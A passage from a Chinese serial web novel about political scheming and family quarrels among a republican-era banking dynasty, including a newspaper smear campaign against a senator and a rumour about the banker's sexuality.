萧素素看到很多警察围着沈家,就知道沈家与这事脱不了干系,她是不是不该问?她咬着嘴唇想换一个话题,可她并不擅长制造话题。
过了很久,沈靳言的声音传来,冷静的像是一切都与他无关一样:“吴夫人被参议长的侄子玷污,羞愤之下服毒自杀。”
上流社会这么乱?侄子侵犯婶母。萧素素的大眼睛扑闪了半天,才说出话来:“那参议长让警察围你家干嘛,他怎么好意思。”
沈靳言道:“前段时间参议长夫人来我家打牌,让身边的贴身丫鬟向我母亲讨要了一个绿珊瑚盆栽,那绿珊瑚的汁液有毒,参议长就诬陷是我家下的毒。”
萧素素道:“就算是绿珊瑚有毒,又不是你们家掰着他夫人的嘴喂进去的,他凭什么乱说?”
沈靳言道:“这里面还牵扯别的事,你不懂,反正我们家和参议长家是离了心了!”
萧素素道:“那参议长的侄子逼死了婶母,他就不用付出代价?”
沈靳言有些恍惚,其实他们编织的谎言是能糊弄大众的,但解决不了根本问题,只是参议长家和他们家是绝对已经离了心了,他要去做的事,就是让参议长家没有能力对付他们家!
他咽了咽口水,又对萧素素道:“你应该听说过参议长的侄子,他叫吴英发。”
萧素素的头歪来歪去:“这个名字可太熟悉了,我好像是听过......”
沈靳言又沉默了,这蠢女人看来脑子是不好用!看她半日也想不出来,才又道:“那几个侵犯安小蝶的人有一个就是他!他甚至是主犯!”
萧素素想起安小蝶的自述中就说最先对她实施暴力将她绑住的就是吴英发,他将安小蝶绑在床上,用纱布堵住安小蝶的嘴巴,让她不能呼救......
萧素素咬牙切齿:“他们这群畜生,至今逍遥法外,京师警察局就应该把他们抓起来拉去枪毙!”
沈靳言嘴唇微微颤抖,他不是有同情心的人,他也没有能力管安小蝶的事,这次若不是父亲有所目的,安小蝶也不会被公平对待,他越想越恍惚,道:“警察局会把他们枪毙的。”
萧素素不信,道:“我听井秘书说,易局长是参议长的人。他会杀参议长的侄子?”
沈靳言道:“他不杀没有关系,京师警察局局长的位置有的是人想坐,他不杀就只有换别人来坐这个位置了......这里面的事说了你也不懂,而且你也不用懂,总之,吴英发这次死定了……也算是罪有应得。”
这话说的太狠了,萧素素其实心里是怕沈靳言的,可是不说话又觉得坐在副驾驶很尴尬,就又问道:“我们这是去哪里?”
“去《花国群英报》的报社。”
萧素素“哦”了一声,心想难怪不让她开车,她根本都没有听过这个报纸,更不知道这个报社在哪里。
等到了报社,沈靳言打发萧素素开车四处逛逛,等过个十几分钟再来接他。
萧素素心想,这是有事要避开她,便没有说什么,只得四处逛逛了。
等如约回来,沈靳言又要开车去《太阳日报》,到了目的地,沈靳言又让她开着车四处逛逛,等过了十几分钟再来接他,如此这般去了好几家报社,萧素素终于忍不住问沈靳言:“行长,你这是要干什么大事?”
沈靳言什么都没有说,表情都没有变,只是继续开车,萧素素的心却紧张起来。
她不确定她是不是不该问这个问题,他肯定干的是不可告人的大事,不管是什么,他不说就不说呗,拉着个脸做什么,感觉沈靳言平时也没有这么难相处啊!
他们奔波到了半下午才回的银行,
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停车、下车、上楼,到了办公室,才看到严鹤等在秘书室里。
施卓然和其他几个人都在做手里的事,严鹤坐在萧素素的工位上,百无聊赖。
萧素素看到他来了,语气不善:“你来干嘛?”
沈靳言连招呼都没有跟严鹤打,就大步流星的走进行长办公室,“砰”的一下关了门,当作没看见一样。
他心里是有气的,心想这死丫头和严鹤这么继续纠缠不清,以后被严鹤害死他可不管她了。
严鹤没有理沈靳言那声关门的巨响,他觉得沈靳言的母亲被牵扯进谋杀参议长夫人的事中了,她一个妾室就是“穷途末路”了,沈靳言这个儿子无能狂怒一下很正常。
他心情大好,就对萧素素又多了些耐心:“你还在生昨晚的气啊,大可不必,你昨晚不也讽刺回去了吗?”
萧素素习惯性的整理桌上的登记簿和工作日志,对严鹤爱答不理。
严鹤只以为她大小姐脾气犯了,对她道:“你几点下班?我带你去吃西餐。”
萧素素依然不理他,施卓然看着着急,走过来对萧素素耳语:“他可是总理之子,不要得罪他,不然没好果子吃。”
萧素素苦不堪言,早知道那次遇到他就不和他套近乎了。
她说:“我最近都要加班,没时间,等我有时间了约你。”
其实是她还没有想清楚怎么和严鹤划清界限,不至于得罪他,免得被他对付。
严鹤心想,这女人果然故意吊着她,就心满意足的走了。他来到通商银行对面的咖啡厅,欧郁诚正在那里等着他。
看着严鹤一个人进来,欧郁诚道:“萧素素呢?”
严鹤无所谓道:“她要加班,我本来也没指望她今天出来,参议长夫人暴毙,我去她那里就是想看看沈靳言是个什么反应。”
欧郁诚道:“能是什么反应,热锅上的蚂蚁呗!咱们就看着沈家和吴家狗咬狗,咱们坐收渔翁之利。......但萧素素那边你不抓紧可不成,不早点把她吊在手里,她什么时候才能为你所用?沈靳言那里的探子可不好安插,施卓然一心只想追求沈嘉兴,我们去追求施卓然,人家根本不会上套,其他几个女秘书又接触不到任何机要,争取到萧素素至关重要。”
严鹤胸有成竹:“不要急嘛,凡事欲速则不达,昨天才闹了矛盾,追得急了人家也要怀疑咱们!你放心,这事我有把握,我和她本来就是老同学,她又看中了我家世,把她追到手加以利用,还不是水到渠成的事情吗?”
欧郁诚道:“行,你做事我放心!”
他放下咖啡杯,道:“走,我们去找东方云韶和苏曼玉玩,吃喝玩乐要找这些夜总会的歌星,贵是贵点,但人家是名角儿,有贵的道理!咱们也不缺这钱!”
隔壁桌的青年正在看窗外的雪景,似乎一场大雪消融在即,街上的枯枝败叶仿佛在寂静中自述着冬日的故事!
26. 内讧(四)
下午五点,行长办公室的灯已经点上,沈靳言将手里的电文递给萧素素看,萧素素不像第一次看电文那么迟钝了,她很快领略了其中的意思。
萧素素把电文还给沈靳言,看着他把电文放在壁炉里烧了,一股子烟冒出来,很快散去。
她的气却没有散去!
她虽然向严鹤示好时目的不单纯,但她也憧憬过严鹤对她有甜蜜的爱情成分,如今看来,他只是想让她当免费的奸细,真是岂有此理!
这些纨绔不是喜欢玩吗?那她萧素素就陪他们玩票大的。反正父母已逝,她如果有什么三长两短,养父养母也有妹妹养老送终,只要她萧素素肯把心一横,看谁玩得过谁!
她把电文放在沈靳言的桌子上,昂着头雄赳赳气昂昂的说:“我要请假三个月!”
沈靳言:“你想干什么?”
萧素素:“去学点艺,当好严鹤的奸细!没准儿以后我会帮上行长的大忙......”
沈靳言觉得好笑,她的人脉资源能学到什么“艺”?马上拒绝了她的请假申请:“不行,挤兑风波还没有结束,我身边离不开人,不许请假!”
萧素素脸色有些青,眼睛也睁得圆,根本不说话,只是咬着嘴唇,越咬越紧。
沈靳言接着道:“不过我可以帮你,告诉我,你要怎么当好他的奸细?”
“不用了。不用你帮忙...”萧素素假笑着拒绝。
她知道以萧岐山和沈靳言的关系,沈靳言真的会帮忙,但他整天那么多事情要处理,她怎好意思自己的私事也来麻烦人家。
......
吴景深一面装作对“亡妻”情深似海,哀伤得无法处理国政,一面装作不能因私废公,“勉强”支撑着病体继续工作。
他没有管易俊驰到底把宋婉抓起来没有,易俊驰也不敢真的把沈府或者宋婉怎么样,其实易俊驰没有真的把宋婉怎么样,那事情就还有转还的余地。
围困沈府只是他给英国人交的“投名状”,挤兑风波骤起,他吴家的盐业几近破产,因汇丰银行代收花国盐税,握有他漏缴盐税的证据,他不得不向英国人屈服。
好在英国人承诺,只要他与沈松龄父子做好切割,就贷给他1000万英镑的贷款。
那个妇人仗着她自己与沈夫人欧繁汐关系匪浅,居然敢干涉他纳名伶王佩瑜为妾的事儿,她不死谁死!
吴景深把夫人毒死,又把死因归咎到宋婉那盆绿珊瑚盆栽上,借以向英国人表明立场,和沈松龄做好切割,手段而已,无需多么高明,态度才是重要的!
吴景深装模作样的操劳了两日,正要装模作样的因“操劳”而晕倒时,机要秘书告诉他,总统阁下亲自出面,要求因“病危通知书”而保外就医的吴英发立刻回京师警察局嫌犯关押室接受鞭刑,当日下午又与另外五名侵犯安小蝶之人在午门外接受枪决之刑罚,现已行刑。
吴景深来不及细想,就已经得出结论:“一定是沈松龄这个老匹夫针对我!可惜我大哥就这么一个儿子,竟被他给害死!”
机要秘书藏起脸上的不认同,腹诽:没谁强迫那畜生侵犯安小蝶!怎么还怪别人害死他呢?犯罪受罚不是天经地义吗?
吴景深问他:“为何我侄比另外五人还要多一个鞭刑。”
机要秘书汗已经流了满面,该死,为什么今天是他当值?他只顾庆幸犯人罪有应得,却忘了这个消息的来龙去脉都要由他来汇报给吴景深!
见秘书眼珠子咕噜转,就是不发一言,吴景深表情阴狠:“哑巴了?问你怎么回事?”
机要秘书吓了一跳,半天才找回自己的声音:“......总统府的邸报称......吴英发侵害婶母,致使婶母服毒自杀......”
吴景深气的暴跳起来,拿着桌上的茶盏就往机要秘书砸去,突然竟真的晕过去了!
绝对不是装的!
吴景深被紧急送往京师医院高阶病房抢救,不过是急火攻心,抢救一夜便能下床走动,无甚大碍。
但是,第二天,铺天盖地的新闻,把吴景深直接气成了脑溢血。
先是《太阳日报》报道的“吴景深为前朝圆明园协理事务郎中时将前朝圆明园之古瓷器、书画取去一百五十余件,卖给法国卢浮宫,现被前朝圆明园总管事务大臣载歌查明,已请律师向京师地方检察厅起诉”的特大社会新闻。
后又有《花国群英报》详细描述了载歌的调查经过,并配上“锐评”。
《京师日报》更是每天刊载大量吴景深倒卖古董字画的细节。
《花国日报》又登出了一则吴景深家族偷税漏税的新闻,一时间群情激愤,愤怒的民众在吴景深宅邸抗议。
当然,偷税漏税是真的,圆明园古董倒卖是沈靳言授意那几家报纸的主编编的,吴景深过去的确担任过圆明园协理事务郎中。
吴景深长子吴世勋以他父亲参议长的名义命令内务部迅速整饬京师警察局,从严究办《太阳日报》、《花国群英报》、《京师日报》等报纸主笔以及攻击诋毁参议长的人,并查封《花国日报》报馆。
当然,内务部总长和京师警察局局长并不听命。
明知道吴景深是弃子了,谁还会这么蠢听他的命令,况且还是冒充他的名义!
话说另一边,这天皇甫乐珊隆重的把自己送给了欧郁诚,两人在欧郁诚别院的床上从白天玩耍到黑夜,又从黑夜玩耍到白天,玩得皇甫乐珊手都抬不起来了。
这个皇甫乐珊是前财政部长皇甫元思之女,皇甫元思被迫辞去财政部长之职后给她下达的结婚目标就是嫁给欧郁诚。与欧家联姻自然是有利于两姓的政治婚姻,现下欧郁诚女伴颇多,皇甫乐珊只是其中之一,把自己早早送到欧郁诚的床上只是皇甫乐珊的无奈之举。
皇甫乐珊初经人事
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,又是超高强度,觉着身体疲累,大脑也有点失控,她慢慢坐起来,靠着床背,看窗外,天好象是亮了,但是没太阳,外面白茫茫的一片,她懒洋洋的说:“我们家厂子里的棉花滞销,你给想点办法呗?”
欧郁诚太阳穴突突的疼痛,他敛了眉,道:“本来棉花价格就持续下跌,你们家出口的棉花总在棉花中掺水后再打包,想以此增重牟利,那些英国的商船过了赤道之后,你们家的棉花全部腐朽发霉......人家英国人又不傻,上了一次当,还买你家的棉花?”
皇甫乐珊脸上立即不高兴了,她顺了顺肩上披的衣服,忍下这口气,道,“那不说这个......人家都把第一次献给了你,我们什么时候去民政局登记结婚?”她边说着边偎依了过去,柔弱地趴在欧郁诚的胸口上。
纵欲无度,头痛得跟要裂开似的,欧郁诚抓着她的手,一根手指一根手指的掰开,往外推,她立即脸就又青了几分,抓着他的手臂道,“我就问问,这本就是两家大人早就商议好的婚事,你还不愿意了吗?”
欧郁诚想起父亲跟他说过,他迟早是要跟皇甫乐珊结婚的,除非找到更好的结婚对象,不然,皇甫乐珊就是他的选择,他点起一根香烟,香烟袅袅,升腾着薄薄雾气,这才把皇甫乐珊搂过来。
皇甫乐珊呼吸发紧,用手抵住欧郁诚,道:“再这样下去,我非死在你床上不可!”
欧郁诚道:“放心,我只搂着你,什么也不干。”
皇甫乐珊乖顺的任由他搂着,就听他在头顶上说:“你们皇甫家和我们欧家都是百年世家大族,草草的去民政局登记结婚只会委屈了你,我一定给你一个世纪婚礼。”
皇甫乐珊顿时眼前一亮,问道:“什么时候?”
欧郁诚道:“干掉沈松龄父子的时候!”
皇甫乐珊不乐意了,沈松龄父子要是那么容易干掉就好了!明明这几乎是不可能完成的任务,这话实在不可信!
欧郁诚知道皇甫乐珊不相信,就把饼画小了一些:“先把沈靳言干掉吧!”
皇甫乐珊道:“说起来我就生气,沈靳言那个秘书萧素素居然敢当众下我脸子,不知天高地厚的死丫头,不如先把她收拾了!”
欧郁诚亲昵的刮她鼻子,道:“她是严公子看上的人,留着她还有大用处呢!”
皇甫乐珊道:“那就从萧素素她爸萧岐山下手,我听说萧岐山和沈靳言的关系特别亲密无间,沈靳言一直以来身边都没有女人,甚至有人怀疑他有“断袖之癖”,你说他们两个是不是真的是......”
欧郁诚乐了,萧岐山和夫人陈瑶结婚30年,没有妾室,没有外室,无子无女,沈靳言现年29岁,未婚无女人,据说通房都没有,装的跟个和尚似的,就算他们两个真的没有断袖之癖,编一段出来也能让很多人相信。
行!明天的花边新闻就讲这个,先恶心恶心沈家!
27. 内讧(五)
《发展京报》的花边新闻被沈靳亭呈到父亲面前,他好不容易抓到二弟可以用来攻击的点,他不好好加以利用,简直对不起二弟这些年苦心孤诣令自己失去的黄河建设和黄河百货的股份。
沈松龄一看是《发展京报》的娱乐板块,眼睛一眯,冷冷的:“这种花边新闻你也敢拿来我看,越来越不长进了!”
沈靳亭一脸笑意:“不是,父亲,这是二弟的新闻,这可不是小事,要不然我怎会巴巴的拿来你看!”
他故意挑在老宅晨昏定省的时间来,好让全家都知道沈靳言的花边新闻。
沈松龄一目十行,一分钟就理解了新闻的“中心思想”了,愤怒道:“去把沈靳言给我叫回来!”
满屋子的女眷都吓了一跳,他很少连名带姓的把所有字都叫完,一般都叫“老大”、“老二”、“老四”......
沈靳亭心生敬畏,小声道:“我这个做长兄的,也急得不行,在回来老宅的路上就派人去请了......应该很快就回来了。”
欧繁汐以为又是外面的纷争,心提到嗓子眼:“老爷,凡事不要太急,船到桥头自然直!”
想到那么健壮的吴景深都被铺天盖地的新闻闹得脑溢血了,她很担心沈松龄。
沈松龄怒目圆瞪:“你倒是不急!和着他不是你肚子里爬出来的,你就由着他,对他不管不顾!”
欧繁汐只关心沈靳亭和沈静雅,他早看在眼里,不说她,是以为儿子们也没什么让她操心的!尤其老二,足智多谋,又争气,读书留学都是他自己本身考上的!现在看到老二“断袖之癖”的花边新闻,才突然想到,这四个成年的孩子中,由欧繁汐亲自给老大安排的妻妾就有四个,她给老四也安排了结婚对象,靳言和静恬的婚姻大事她却不管不问,实在是有些厚此薄彼!
欧繁汐莫名其妙:“老二怎么了?你不说我哪里知道要顾他什么管他什么?”
沈松龄把报纸扔给欧繁汐:“你自己看!作为我沈某人的妻子,你不要忘了自己的责任......”
看了报纸,欧繁汐气呼呼地撇了嘴,却不敢再说什么了,城门失火殃及池鱼,她是嫡母不错,可沈靳言出息得很,又不靠家里,她哪里敢管!
宋婉看欧繁汐闭了嘴,脸色陡变,急了:“老爷,靳言他怎么了......”
沈靳言是宋婉生的,听沈松龄刚刚的只言片语,加上自己被诬陷跟参议长夫人的死有关,吓得不行,也不管礼仪是否允许,走上前“抢”过欧繁汐手里的报纸就看,报纸上赫然写着:“沈资政次子沈靳言为爱勇敢“断袖”,对象竟是五十六岁陆军少将”。
这报纸明显恶心人乱写的!靳言他喜欢女子,不喜欢男子,她生的孩子她还不明白吗!这些记者还有没有良心啊!睁着眼睛乱写!
沈靳亭在一旁故意劝道:“父亲不要着急,等二弟回来,劝他和萧岐山断了就是了……”
这明显是把报纸上乱写的硬扣在沈靳言头上!
宋婉从未有过的严厉语气:“大少爷!你可不要乱说!这是没有的事情!靳言怎么可能喜欢男人呢!他喜欢女人......”
沈靳亭茶言茶语:“二妈妈,你也不要着急,咱们这样的人家要什么样的男人女人没有,现在让二弟戒掉这个恶习,马上找个大家闺秀结婚,再安排几房姨太太,很快人们就会忘了这个新闻!”
宋婉脸色如霜,她发现自己不仅跟后宅的女人吵架会输,她跟男人吵架照样吵不过!
她有些着急,眼眶也跟着红了:“我说了,这是没有的事!大少爷,靳言他有女人,只是他不沉迷这些事,竟被你们这样诋毁!”
沈靳亭讥笑道:“是不沉迷女人还是根本就不喜欢女人!这可太大区别了!”
宋婉也不管不顾,道:“我知道,我们娘俩一直碍着大少爷的事,一有个风吹草动,你就马不停蹄的急着给他安罪名,生怕冤枉不死他!”
沈松龄闭了闭眼,宋婉的话提醒了他,他是关心则乱,老大结婚十数载,妻妾成群,却没有子嗣,老二快三十岁了,一直不结婚,老四才刚到谈婚论嫁的年龄,他都这个岁数了,还没有一个孙辈,心里急啊!才会关心则乱!
宋婉还在控诉:“老爷,你可不能太偏心了,你和太太自己没有给他安排个像样的婚事,你们还怪他了!......等靳言回来了你再问他,事情都没有弄清楚你冤枉他做什么!”
沈松龄从来没有看见宋婉像个斗鸡一样,护着“小鸡仔”的架势为儿子声辩什么!老大被全家给宠坏了,跟自己的庶母吵嘴,也是不像话!
屋子里的其他人没有一个敢劝的,个个明哲保身,沈府可不是一般的家庭,他们这些人谁说错话都不是他们自己能承担得了后果的!
外面有丫头通传:“......二少爷回来了,要进来给老爷请安......”
“让他进来。”
沈靳言任凭丫头替他挑了帘子,礼仪神态都很儒雅。
众人一年到头也看不到沈靳言几次,都看着他进来,谦恭有礼的一一问了好。
沈松龄看着这个次子,不动声色。沈靳言是沈松龄相貌最出众的孩子,五官轮廓很分明,他有一头乌黑的短发,他的眼眸是深邃的黑,眸子清澈得像被洗过一样!气质宁静致远,超凡脱俗。
沈靳言进来看到母亲又红了眼眶,脸色通红,大哥也在,不知道又是为了什么事,便问道:“不知道父亲让我回来所为何事,银行里的事正多呢......”
虽然挤兑风波已渐渐过去,但影响却不小,后续很多事都需要他拿主意。
沈松龄示意宋婉将报纸给沈靳言看:“先听他自己说吧!”
沈靳言一看到母亲手里的报纸,就敛了眉,道:“这是众议长欧乐贤控制的报纸,能写我什么好话
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沈松龄冷冷的看了他一眼:“你先看了,然后想清楚了跟我说!”
沈靳言无奈,只得接过报纸看上面的内容!
看了标题就被气笑了,道:“《发展京报》是欧乐贤父子控制的,他们父子两惯会恶心人……写这些有什么用?除了给民众提供茶语饭后的谈资,增加一点《发展京报》的销量!其他什么用没有!影响父亲什么了吗?影响我什么......”
他越往后看他声音越小,心里有隐隐的担心。
报纸上写着萧岐山十五年前是圆明园委署主事?沈靳言并不知道他在圆明园当过差,他只知道萧岐山毕业于日本陆军士官学校,曾任前朝皇家禁卫军正三品参军......
沈靳言越发眉目冷峻,吴景深之事会不会给萧岐山添麻烦?
他的表情却让屋里的人觉得他是心虚,掩饰自己真的有断袖之癖的心虚!
沈松龄认真的看了沈靳言几眼,道:“怎么不说话?你和那个萧岐山怎么回事?”
沈靳亭还兄友弟恭的劝上了:“父亲,二弟这一项都扑在工作上,又没有旁的爱好,生活也苦闷,即使有这事你也不要太怪罪!”
沈靳言轻哼,道:“我苦闷?所以我找六十岁的老头?我沈家破产了?我想找什么样的女人没有?要找个六十岁的老头?”
沈松龄一晒:“对啊?我沈家找什么样的女人没有?那你倒是找啊!你大哥都结婚十几年了,加上你大嫂,妻妾就有八个了,外面的女人也不少,你一个还没有!”
沈靳亭道:“所以说二弟还是把正经事放在女人、妻妾生子上,不要再蹉跎岁月了!”
沈靳言气急之后脸色阴森,道:“是是是,我没有和女人干过什么正事,所以没有子嗣,大哥八房妻妾,要是大哥想,天天都能干正经事儿,结果呢,娶妻生子,子女呢?正经事做一半算什么本事?”
这无疑是在人伤口上撒盐,被这盐啃蚀疼痛的除了沈靳亭,还有沈松龄,沈靳亭没子女,沈松龄没孙子女!
宋婉急了:“老二!你住嘴!”
每天只睡四个小时,还经常失眠,连日的操劳令沈靳言疲乏的狠,家里人却拿莫须有的事情来烦他,耽误他时间,他都要烦死了,他整了整自己的呢大衣,道:“我最后只说一次,我不喜欢男人!我的事不用你们操心,我自己看着办!我不是嫡长子,反正家族传承也用不着我来!大哥,你借着这篇哗众取宠的文章来说项我无非就是怕我夺了你的沈家太子之位!怕我分了你沈家的产业......”
沈松龄拿起桌上的茶碗就砸了出去,这下世界安静了!
沈靳言自立了门户,有花国通商银行这个产业,这几年说话越来越硬气,帮着父亲做事,不是因着沈家的产业,沈靳亭处处针对他却是因着沈家的产业,今日真的把他惹到了,他不顾母亲的阻拦,把从小到大的情绪也发了出来!
28. 内讧(六)
沈松龄自身有一种大厦将倾的无力感,他国事繁忙,花国被列强欺压已久,有许多历史遗留问题需要他来处理,沈家的生意他都要仰仗几个儿子来处理,若说能力,当然是次子靳言更出众一点,但他不近女色就不行了,一个家族需要传承,没有子嗣如何传承?
他道:“我还没死呢?你们两兄弟就在这里吵得不可开交!”
沈松龄的姨太太和沈靳亭留在老宅的姨太太都很惶恐,如坐针毡!
沈靳亭对这个结果很满意了,兄弟中,只有老二没有挨过父亲的训斥,这是有生以来第一次父亲训他,而且还是当着众多女眷的面!
他劝道:“父亲千万不要误会儿子,我作为兄长,只是关心则乱,他没有跟萧岐山不清不楚就好!父亲千万不要动气,气着自己就不好了,你看吴景深,都被气死了!”他做出一副苦口婆心的态度来,给人一种沈靳言冒犯了他他也不计较的感觉。
沈松龄看看沈靳言,道:“你对大哥态度好点!你大哥也是关心你,外人才不管你呢!”
沈靳言发现刚刚的确是自己失态了,他从来没有这样过,也不知道怎么突然自己就受不了了。看来最近是操劳过度了情绪有些奔溃,但他却只对沈松龄道:“父亲,儿子刚刚失言了,还请父亲不要动气!”
他又强调了一遍:“儿子不喜欢男人,父亲千万不要中了欧乐贤父子的圈套,他们就是纯恶心人!”
沈松龄指着欧繁汐道:“你给她找几个女人结婚。”
沈靳言上一世这时候已经结婚了,是父母包办的婚姻,妻子谭小曼是华北督军之女,整天只知道打牌摆阔,后来更是染上了烟瘾,年纪轻轻百病缠身,没过几年就病死了。
去年沈靳言在报纸上看到谭小曼已经结婚了,嫁到了沪城首富赵温家,做赵温的继室。
但沈靳言想到自己上辈子四十岁不到就被人给杀害,反正都要死,何必祸害别人家女儿,让人家做寡妇呢?他坚持道:“不用麻烦母亲,我不结婚!”
沈松龄冷笑一声,他如果连儿子都治理不了,他还如何治国理政?他往圈椅上一坐,很淡很淡的语气说:“你可以不麻烦你母亲,从今天起,这个家无论哪个男人都不许结婚!纳姨太太都不可以!”
沈靳亭刚看上一个小歌星,想纳她做九姨太,听到这话心里就肉疼,但他没有蠢到这时候触沈松龄的眉头,就控制着自己不说话!
沈靳言则看到三姨太眼中有晶莹剔透的东西掉了下来,她的儿子沈靳晖和太阳日报家的女儿方妃璇都到了议亲的时候了,虽然是太太安排的,但两人情投意合,父亲这是棒打鸳鸯了!
沈靳言太阳穴突突的疼,父亲怎么连婚事都搞连坐?这是在逼他,兄弟中他最看重四弟沈靳晖,他被父亲这招精准的威胁到了!
欧繁汐撒娇道:“老爷,给方小姐的彩礼单子我都理好了!你叫老四可怎么办啊!......以后老五老六都是要娶妻生子的,你这样可不行!”
沈松龄坐在圈椅上不说话,谈判嘛,看谁沉得住气!他连这都搞不定,他沈家早被灭门了!
宋婉也急了:“老二,你不结婚可怎么行,平日里连一个知冷知热的都没有......”
她心想,他儿子平日里怎么解决自己生理上的需求?明明是喜欢女人的!老大那么多妻妾都还要在外面找女人呢!
沈靳言宽慰宋婉:“我好好的,不用担心!”
他闭了闭眼,心说只能给未来的妻子多留点钱财傍身了,然后才和沈松龄讨价还价:“真不用麻烦太太,我自己找一个就是了。”
沈松龄压都压不住翘起的嘴角,但态度一点没有松动:“我们家不是一般的家庭,由不得你随心所欲!”
沈靳言倔脾气又上来了:“我原是可以不结婚的!”
三姨太的心情跟过山车一样......
宋婉拉住沈靳言的手,劝道:“你父亲也是怕你事忙,你反正也不在意是谁,就由着太太安排吧。太太一向是眼光很好的,省了你不少事。”
欧繁汐也安抚道:“你放心,保准让你过目了才作数,莫非你不放心母亲,你看你大嫂,还有方小姐,哪个不是个顶个的好?”
沈靳言终于松口了:“就有劳母亲了。”
沈松龄乘胜追击:“那就先给他安排一房妻房两房姨太太。”
沈靳言又不干了:“要那么多干嘛?父亲不要太过分。”
过分?古代皇室选秀还不是一下选几个,这样才能尽快延绵子嗣。沈松龄一副过来人的语气:“女人合不合适,要在床上才知道......”
沈靳言脸红到了脖子根:“父亲!几位妈妈还在呢!你让儿子情何以堪……”
沈靳亭嫉妒到发狂,每次他纳姨太太都要被父亲责骂,沈靳言不要姨太太,父亲还要硬着塞!
他趁机道:“父亲,我看上一个女人......”
沈松龄拿起他那根诗文木质杆体拐杖就往沈靳亭打去,众人做鸟兽散,生怕被牵连。
沈靳言趁机请了欧繁汐到偏厅说话,他给欧繁汐行了一个大礼道:“儿子相信母亲定能给儿子找一个门当户对的女子,只是儿子本就不喜欢太多女人在身边转,请母亲容儿子自己找一个自己喜欢的。”
欧繁汐有些为难:“你可不能拿这话来拖延时间,你知道若是不能尽快给你安排婚事,你父亲那里,我也没法交代......”
她本就是继室,当年是因为美貌和家事被沈松龄选中,但就像沈松龄刚刚说的,她不是沈松龄床上喜欢的女人,所以她只有在管理内宅方面格外出众才能在沈松龄那里有稳定的位置!
沈靳言道:“我会尽快找女人结婚,定不好让母亲为难。”
欧繁汐突然想起一事,问沈靳言道:“你该不会要和萧素素结婚吧?我记得去年我生
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日你把她带回来过......她可不行,她只是一个小生意人的女儿,给你做姨太太都不配!”
沈靳言听这话实在有些不舒服,但也不知道哪一个点听着不舒服,就沉默了一瞬。他没有回答,欧繁汐就着急了:“你不会真想娶她吧?那怎么行,二姨太和你父亲也不会答应的!一个小生意人的女儿怎么配得上你。”
沈靳言道:“她不是......”
遭了,差点说了她不是小生意人的女儿,那么欧繁汐就会问她不是小生意人的女儿又是谁的女儿,到时候解释起来就很麻烦。
沈靳言就道:“母亲误会了,我还没有人选......”
欧繁汐一听他还没有人选就急了,任他自己慢慢选,这不是影响她完成任务吗?那怎么行!
欧繁汐道:“既然这样,还是由母亲来为你选吧。你这么忙,一时间到哪里去找......”
沈靳言不喜欢这样的大事由欧繁汐替他定夺,但他再拒绝,欧繁汐又该以为他希望自己的生母为自己安排婚事了,到时候给母亲招欧繁汐的仇恨不说,他也不希望母亲给他选,母亲定会给他选个高官之女......
只得让欧繁汐先选着,到时候他过目的时候再推脱说不行吧!
真麻烦,浪费他时间!
沈靳言道:“......有劳母亲了。”
沈松龄还在隔壁骂沈靳亭,先前是女人的事,后又骂他把黄河丝绸经营得一塌糊涂,依沈靳言对沈松龄的了解,等会儿沈松龄还要翻沈靳亭的陈年旧账。
沈靳言和欧繁汐寒暄了一些沈静雅读书的事情就出了偏厅。
宋婉在临仙榭前那口温泉处等沈靳言,这样的季节,靠近泉眼的湖面会冒出阵阵水烟,在透过树荫漏出的斑驳阳光下,温泉湖面上的水气袅袅升起,仿佛是大地温暖的呼吸,即烂漫又熠熠生辉。
宋婉捏着手里的手绢,心事重重的。她打发了丫鬟回去给沈靳言安排吃食,自己亲自等在这里,就是怕沈靳言跑了,看到沈靳言从偏厅出来,拉了他的手就往自己的院子走。
沈靳言道:“母亲,你有什么话就说吧,儿子真不喜欢男人,不怕别人知道什么。”
宋婉道:“我知道你不喜欢男人,你是我身上掉下来的肉,你喜欢什么、不喜欢什么,我还不知道?”
她停下来,看四处无人,低声问他:“你去年带回来的那个女孩是不是萧岐山的女儿,我记得叫萧素素......”
沈靳言被这“回旋镖”给打到了,他说:“是她......”
宋婉道:“她不行!她身份低不说,她还是萧岐山的女儿!我给你物色几个高官的女儿!”
沈靳言:“......”
宋婉见他不说话,有些生气:“怎么,我生了你,我还不可以给你物色媳妇儿了?你父亲是让欧氏给你挑选,但我要给你选,她也不会说什么!”
29. 内讧(七)
沈靳言看着宋婉手里捏着的手绢,不忍拒绝,母亲心思细腻,若是说一句“就让欧氏办吧”,她定要因自己的妾室身份哭天抹泪,胡思乱想来折磨她自己,只得由着她了。
沈靳言道:“不要选多了,女人多了麻烦......要先给我过目才行......”
宋婉道:“三个哪里多了?你大哥八房姨太太了,他又要娶......”
“母亲!儿子还有事先走了......”
说完不再理睬宋婉,转身就走!
宋婉摔了一下自己的手绢,在背后骂他:“臭靳言,你就仗着我是你亲娘!”
走过竹林就是青砖甬道,井弘深看到他过来,忙走上前问他出了什么事?这么着急请他回老宅,一定不是小事!
井弘深站得近,近得感觉得到沈靳言胸膛的起伏。
这是发过火了?
井弘深忙问:“行长,可是出了什么事?”
沈靳言摇摇头呐呐道:“没什么......”
他皱眉接着道:“去给我找几个女人来!”
找女人,这可是开天辟地头一遭!井弘深不解:“什么样的女人?”
沈靳言用手指点着他的胸膛,用从未有过的阴沉语气说道:“年轻的!健康的!美貌的!干净的!”
井弘深吓了一跳,他受了什么刺激?从没有看到他的这种神情!亦从没有见他找过女人!这是要选“妃”,还是要找女人临时暖床?
井弘深忙点头应诺:“行长放心,天黑之前一定找到。”
回到办公室,发现萧素素不在,沈靳言一阵心烦,指着萧素素的位置问施卓然:“萧秘书到哪里去了?”
自从那次莫名其妙的事情以后,萧素素请假都不向沈靳言请了,借口就是“行长日理万机,我一个秘书给直接上级井弘深请假就可以了,这么小的事情还去烦行长,太不懂事了!”
沈靳言虽然是问的施卓然,但井弘深的冷汗已经流了满头。
萧素素今天也没有给他请假!他不知道她去哪里了!
施卓然看着沈靳言的脸色,道:“她家里有急事,请假出去了......”
沈靳言道:“她父母都不在京师,她能有什么事?”
施卓然道:“估计去找人把《发展京报》上的新闻撤了......”
沈靳言有些尴尬,大家都看了那则花边新闻了吗?尽管是假的,但还是影响他心情,他道:“覆水难收,有人要乱写,自然有人要乱信,没有办法的事,撤了有什么用?”
施卓然:“......”
井弘深眼珠子转了一圈,向沈靳言道:“我马上去完成行长交代的任务。”
沈靳言“嗯”了一声,算是准了。
萧素素去了黄河百货购物,准备打扮的漂漂亮亮的再去找严鹤。
